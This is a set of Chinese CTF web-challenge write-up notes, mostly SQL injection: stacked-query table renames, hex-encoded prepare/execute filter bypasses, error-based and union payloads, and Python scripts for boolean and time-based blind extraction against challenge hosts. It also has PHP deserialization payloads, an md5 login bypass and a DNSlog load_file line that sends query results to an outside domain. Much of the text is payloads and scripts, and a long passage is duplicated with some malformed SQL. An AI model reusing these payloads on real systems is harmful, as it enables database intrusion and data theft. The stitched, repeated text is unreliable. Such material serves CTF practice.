1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
解题思路2:
因为select被过滤了,所以先将select * from 1919810931114514进行16进制编码
再通过构造payload得
1
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
进而得到flag prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
解题思路3
1
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
知识点总结:
show
在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。
1 2 3
show datebases; //数据库。 show tables; //表名。 show columns from table; //字段。
alter table " table_name" add " column_name" type;#添加一个列 alter table " table_name" drop " column_name" type;#删除一个列 alter table " table_name" alter column " column_name" type;#改变列的数据类型 alter table " table_name" change " column1" " column2" type;#改列名 alter table "table_name" rename "column1" to "column2";
SQL约束 (规定表中数据的规则) not null- 指示某列不能存储 NULL 值。
1 2
alter table persons modify age int not null;//设置 not null 约束 。 alter table person modify age int null;//取消 null 约束。
primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。
1 2 3
alter table persons add age primary key (id) unique -保证某列的每行必须有唯一的值。(注:可以有多个 UNIQUE 约束,只能有一个 PRIMARY KEY 约束。 ) alter table person add unique (id);//增加unique约束。
check-限制列中值的范围。
1
alter table person add check (id>0);
default-规定没有给列赋值时的默认值。
1 2
alter table person alter city set default 'chengdu' ;//mysql alter table person add constraint ab_c default 'chengdu' for city;//SQL Server / MS Access
关于MYSQL的sql_mode解析与设置 ONLY_ FULL_ GROUP_B:如果在SELECT中的列,没有在GROUP BY中出现,那么将 认为这个SQL是不合法的,因为列不在GROUP BY从句中,因为这个设置的存在,我们对于group by的用法只能是类似于select * from users group by id ;并且只能展示group by的字段,要是带有其他字段便会报错。
对这种状态进行修改:
1 2
set sql_mode=(select replace (@@sql_mode,'ONLY_FULL_GROUP_BY','')); 可以使用该语句来将空格替换掉only_full_group_by
class Name{ private $username = 'nonono'; private $password = 'yesyes';
public function __construct($username,$password){ $this->username = $username; $this->password = $password; }
function __wakeup(){ $this->username = 'guest'; }
function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die();
由官方文档可以知道:Tornado templates support control statements and expressions. Control statements are surrounded by {% %}, e.g. {% if len(items) > 2 %}. Expressions are surrounded by {{ }}, e.g. {{ items[0] }}.
这里看了wp,可以用ffifdyop,因为ffifdyop被md5后会变成276f722736c95d99e921722cf9ed621c,而十六进制会被转为ascii,最终变成’ or ‘6,所以就成永真式 select * from ‘admin’ where password = ‘ ‘ or ‘6….’ 相当于万能密码了,然后进入下一关
要传入text,file,password这三个变量,第一个if要确保text不为空,且file_get_contents到text的内容要为welcome to the zjctf,所以这里要求我们写入一个文件,所以才能让file_get_contents从文件里能读取出字符串。这里用伪协议data:// data协议:php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码,后面那一串是welcome to the zjctf的base64
class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
<?php class Flag{ //flag.php public $file = 'flag.php'; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a = new Flag; echo serialize($a); ?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这里考察了一个魔术方法,__tostring,比如说如果实例化了一个类,然后直接echo打印,是会报错的. 报错:Object of class Person could not be converted to string
I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) // 0e或者数组绕过 { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if(!is_numeric($passwd)) //弱类型 比如1234567a绕过 {if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0');} else { echo "can you think twice??";} } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else { die('Please input first'); } } Please input first
if(safe($id)){ $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1"); if($query){ $result = mysql_fetch_array($query); if($result){ echo $result['content']; }else{ echo "Error Occured When Fetch Result."; } }else{ var_dump($query); } }else{ die("SQL Injection Checked."); }
这里确实没想到常见的注入手法,不过可以看到wp可以用异或注入 大佬的payload是这样:
1
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
但还有一些是没有用异或,用的是if,可if有局限性,在id为数字型时,可以直接 select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加or或and 可以看到异或也是布尔的一种,只不过利用手法不同。这里大量的函数也没过滤,我贴上两种思路的脚本
import requests import time url = "http://web43.node1.buuoj.cn/index.php" data = {"id":""} flag = 'flag{' length = 5 while True: #直接从数字开始猜 for i in range(48,127): #复现平台有waf,一秒只能访问一次 time.sleep(1) #绕过一些过滤字符 if i in [38,42,43,45,59,96]: continue data["id"] = "if(substr((select flag from flag),1,{})='{}',1,2)".format(length+1,flag+chr(i)) r = requests.post(url,data=data) #返回1 if 'Hello' in r.text: flag+=chr(i) length+=1 print(flag) break if flag[-1]=='}': break
import requests #url是随时更新的,具体的以做题时候的为准 #有时候太快了状态码是429,发现数据异常可以多跑两遍 url = 'http://c0f13472-2391-4772-adfa-291d7bcf25d0.node3.buuoj.cn/' data = {"id":""} flag = 'flag{'
i = 6 while True: #从可打印字符开始 begin = 32 end = 126 tmp = (begin+end)//2 while begin<end: data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp) r = requests.post(url,data=data) if 'Hello' in r.text: begin = tmp+1 tmp = (begin+end)//2 else: end = tmp tmp = (begin+end)//2 flag+=chr(tmp) print(flag) i+=1 if flag[-1]=='}': break
url = "http://be7c3bbe-f847-4c30-bfbd-baa005a54773.node3.buuoj.cn/index.php" payload = { "id" : "" } result = "" for i in range(1,100): l = 33 r =130 mid = (l+r)>>1 while(l<r): payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid) html = requests.post(url,data=payload) print(payload) if "Hello" in html.text: l = mid+1 else: r = mid mid = (l+r)>>1 if(chr(mid)==" "): break result = result + chr(mid) print(result) print("flag: " ,result)
[网鼎杯 2018]Fakebook
注册一个账号,发现有类似表格类型的id,username,password这种可以考虑到SQL注入
看到url有一个no的参数,尝试注入,输入一个单引号有报错,存在注入的可能
union注入被过滤了,尝试报错注入
1
1 and extractvalue(1,concat('~',(select(group_concat(database())))))%23
能爆出库名,接着表名,但很怪的是把的十六进制禁了,没把禁了,很怪
1
1 and extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='fakebook')))%23
爆出表名,接着爆列名
1
1 and extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))%23
接着查数据
1
1 and extractvalue(1,concat('~',(select(group_concat(right(passwd,32)))from(fakebook.users))))%23
select version(); select id from jobs where id = 1; select id from jobs where id = 1 union select version(); select id,location from jobs where id = 1 union select 1,version();
select columns_name(s) from table_name1 union select column_name(s) from table_name2 select columns_name(s) from table_name1 union all select column_name(s) from table_name2
union注入应用场景:
只有最后一个select子句允许有Order by;
只要最后一个select子句允许有limit
只要Union链接的几个查询的字段数一样且列的数据类型转换没有问题。就可以查询出结果
注入点页面有回显 例子:
1 2
select * from users order by id union select 1,2,3; select * from users limit 0,1 union select 1,2,3
union注入过程: sqli=lab less4学习
orderby 猜出来的列数超过数据库表中的列数,报错并不能返回数据
orderby确定列数(二分法)
观察回显,选取数据位置,进行下一步注入
读库信息
读表信息
读字段
读数据 大体步骤跟上文差不多这里给出例子:
id=-1’ union select 1,2,(select database())–+
1
select * from users where id='-1' union select 1,2,(select database())--+'
select * from users where id = '1' and (select database()) regexp '^s' --+' limit 0,1
回显成功判断正确 id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1),1) regexp ‘^e’ –+
1
select * from users where id='1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1),1) regexp '^e' --+' limit 0,1
回显成功判断正确,如果要判断第二位,就直接在e后面加上自己想测的字符 切换为like
id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like ‘e%’ –+
1
select * from users where id='1' and(select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%' --+ limit 0,1
这种表示匹配以e开头的字符串,后面同理regexp 切换为substr以及ascii
id=1’ and ascii(substr((select database()),1,1) = 115 –+
1
select * from users where id='1' and ascii(substr((select database()),1,1) = 98 --+' limit ,1
select * from users where id='1' and if(left(user(),1)='a' , 0 ,sleep(3))--+' limit 0,1
很明显页面延迟了刷新,将字符a变为r,页面立即执行,通过这种方式就能对数据库的数据进行查询 id=1’ and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=’e’,0,sleep(3))–+
1
select * from users where id='1' and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',0,sleep(3))--+' limit 0 ,1
url='' database='select schema_name from information_schema.schemata' column = 'select column_name from information_schema.columns where table_name="table_name"' table = 'select table_name from information_schema.tables where table_schema=database()'
result = '' for i in range(1,20): for j in range(48,122): payload = '" and if(ascii(substr(({} limit 0,1),{},1),sleep(2),1)--+'.format(database,i,j) stime=time.time() r = requests.get(url+payload) etime = time.time() if etime-stime ==2: result += chr(j) print(result) break
id=1’ and select load_file(concat(‘\\‘,(select database(),’mysql.dnsurl\abc’));
1
select * from users where id ='1' and select load_file(concat('\\\\',(select database(),'mysql.dnsurl\\abc'));--+'
前去dnslog平台就可以看到库名 然后查表名
id=1’ and select load_file(concat(‘\\‘,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’mysql.dnsurl\abc’));–+
1
select * from users where id='id=1' and select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'mysql.dnsurl\\abc'));--+'
//测试数据 create table test( id INT NOT NULL, user VARCHAR(100) NOT NULL, pass VARCHAR(100) NOT NULL ) INSERT INTO test values(1,'hack','hack'); //测试代码<?php $con = mysql_connect("localhost","root","root"); mysql_select_db("test", $con); mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $con); //update入库 if (isset($_GET['key'])){ $key=addslashes($_REQUEST['key']); $query ="update test set user='{$key}' where id=1"; echo "INSERT SQL: ".$query."<br/>"; $result = mysql_query($query); } //select 出库,并带入查询 $query = "SELECT * FROM test WHERE id = 1"; $result = mysql_query($query); $row = mysql_fetch_row($result); echo "<br/>"; $query = "SELECT * FROM test WHERE user = '{$row[1]}'"; print_r('SELECT SQL: '.$query.'<br/>'); $result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');; echo "<br/>"; print_r(mysql_fetch_row($result)); mysql_close($con); ?>
select * from users where id = '1' and (select database()) regexp '^s' --+' limit 0,1
回显成功判断正确 id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1),1) regexp ‘^e’ –+
1
select * from users where id='1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1),1) regexp '^e' --+' limit 0,1
回显成功判断正确,如果要判断第二位,就直接在e后面加上自己想测的字符 切换为like
id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like ‘e%’ –+
1
select * from users where id='1' and(select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%' --+ limit 0,1
这种表示匹配以e开头的字符串,后面同理regexp 切换为substr以及ascii
id=1’ and ascii(substr((select database()),1,1) = 115 –+
1
select * from users where id='1' and ascii(substr((select database()),1,1) = 98 --+' limit ,1
select * from users where id='1' and if(left(user(),1)='a' , 0 ,sleep(3))--+' limit 0,1
很明显页面延迟了刷新,将字符a变为r,页面立即执行,通过这种方式就能对数据库的数据进行查询 id=1’ and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=’e’,0,sleep(3))–+
1
select * from users where id='1' and if(left(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e',0,sleep(3))--+' limit 0 ,1
url='' database='select schema_name from information_schema.schemata' column = 'select column_name from information_schema.columns where table_name="table_name"' table = 'select table_name from information_schema.tables where table_schema=database()'
result = '' for i in range(1,20): for j in range(48,122): payload = '" and if(ascii(substr(({} limit 0,1),{},1),sleep(2),1)--+'.format(database,i,j) stime=time.time() r = requests.get(url+payload) etime = time.time() if etime-stime ==2: result += chr(j) print(result) break
id=1’ and select load_file(concat(‘\\‘,(select database(),’mysql.dnsurl\abc’));
1
select * from users where id ='1' and select load_file(concat('\\\\',(select database(),'mysql.dnsurl\\abc'));--+'
前去dnslog平台就可以看到库名 然后查表名
id=1’ and select load_file(concat(‘\\‘,(select table_name from information_schema.tables where table_schema=database() limit 0,1),’mysql.dnsurl\abc’));–+
1
select * from users where id='id=1' and select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'mysql.dnsurl\\abc'));--+'
id=1’ and select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2))–+
1
select * from users where id = '1' and select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database()),floor(rand(0)*2))--+'
或者采用另外一种查数据 id=1’ and select count(*) from information_schema.tables group by concat(0x7e,(select concat(username,0x7e,password) from 表名),floor(rand(0)*2))–+
1
select * from users where id = '1' and select count(*) from information_schema.tables group by concat(0x7e,(select concat(username,0x7e,password) from 表名),floor(rand(0)*2))--+